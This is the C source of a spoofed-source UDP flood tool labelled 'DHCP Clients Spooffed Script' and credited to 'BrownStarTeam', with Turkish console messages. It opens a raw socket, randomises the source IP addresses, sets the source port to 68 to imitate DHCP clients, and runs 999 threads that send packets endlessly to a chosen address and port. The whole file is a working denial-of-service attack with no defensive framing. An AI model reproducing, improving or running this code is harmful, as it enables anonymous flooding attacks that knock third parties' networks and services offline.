dhcp-attack.cpp

///////////BrownStarTeam///////////

#include <time.h>
#include <pthread.h>
#include <assert.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>

#define MAX_PACKET_SIZE 8192
#define PHI 0x9e3779b9
#define LINUX system
 
static unsigned long int Q[4096], c = 362436;
static unsigned int floodport;

struct list
{
    struct sockaddr_in data;
    struct list *next;
    struct list *prev;
};
struct list *head;
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };

unsigned short csum (unsigned short *buf, int nwords)
    {
      unsigned long sum;
      for (sum = 0; nwords > 0; nwords--)
      sum += *buf++;
      sum = (sum >> 16) + (sum & 0xffff);
      sum += (sum >> 16);
      return (unsigned short)(~sum);
    }

	void init_rand(unsigned long int x)
{
        int i;
        Q[0] = x;
        Q[1] = x + PHI;
        Q[2] = x + PHI + PHI;
        for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
}
unsigned long int rand_cmwc(void)
{
        unsigned long long int t, a = 18782LL;
        static unsigned long int i = 4095;
        unsigned long int x, r = 0xfffffffe;
        i = (i + 1) & 4095;
        t = a * Q[i] + c;
        c = (t >> 32);
        x = t + c;
        if (x < c) {
                x++;
                c++;
        }
        return (Q[i] = r - x);
}
	
	
void setup_ip_header(struct iphdr *iph)
    {
      iph->ihl = 5;
      iph->version = 4;
      iph->tos = rand();
      iph->id = htons(rand()%65535);
      iph->frag_off = 0;
      iph->ttl = 255;
      iph->protocol = 17;
      iph->check = 0;
      iph->saddr;
    }

void *flood(void *par1)
{
	struct thread_data *td = (struct thread_data *)par1;
	char datagram[MAX_PACKET_SIZE];
	struct iphdr *iph = (struct iphdr *)datagram;
	struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
	struct sockaddr_in sin = td->sin;
	struct  list *list_node = td->list_node;
	int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if(s == -1)
	{
		fprintf(stderr, "Can't open raw socket.\n");
		exit(-1);
	}
	memset(datagram, 0, MAX_PACKET_SIZE);
	setup_ip_header(iph);
	udph->check = 0;
	udph->dest =  htons(floodport);
	int size;
	size = rand()%20+1;
	init_rand(time(NULL));
	memcpy((void *)udph + sizeof(struct udphdr), "", size);
	udph->len=htons(sizeof(struct udphdr) + size);
	iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + size;
	iph->daddr =  sin.sin_addr.s_addr;
	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
	int tmp = 1;
	const int *val = &tmp;
	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) == -1)
	{
		fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
		exit(-1);
	}
	
	for(;;)
	{
		iph->saddr = (unsigned long) rand_cmwc();
		udph->source = htons(68);
		iph->id = rand_cmwc();
		//check
		iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
		sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
	}
}
	
	#define KGREEN  "\x1b[92m"
	#define RESET "\033[0m"
	int main(int argc, char *argv[ ])
    {
	printf(KGREEN "#BRS DHCP Clients Spooffed Script | BrownStarTeam'\n" RESET);
      if(argc < 3 || argc > 3){
      fprintf(stdout, "Usage: %s <IP> <Port>\n", argv[0]);
      exit(-1);
	  }
	  
	fprintf(stdout, "Soketler Oluşturuluyor...\n"); 
	  int i;
      int num_threads = 999;
	  floodport = atoi(argv[2]);
	  head = (struct list *)malloc(sizeof(struct list));
	  bzero(&head->data, sizeof(head->data));
	  head->data.sin_addr.s_addr=inet_addr("192.168.3.100");
	  head->data.sin_port=floodport;
	  head->next = head;
	  head->prev = head;
      struct list *current = head->next;
      pthread_t thread[num_threads];
      struct sockaddr_in sin;
      sin.sin_family = AF_INET;
	  sin.sin_port = htons(floodport);
      sin.sin_addr.s_addr = inet_addr(argv[1]);
      struct thread_data td[num_threads];
      for(i = 0;i<num_threads;i++)
	  {
        td[i].thread_id = i;
		td[i].sin= sin;
		td[i].list_node = current;
		pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
      }
      fprintf(stdout, "Saldiri Başladi...\n");
      sleep(999);
      return 0;
    }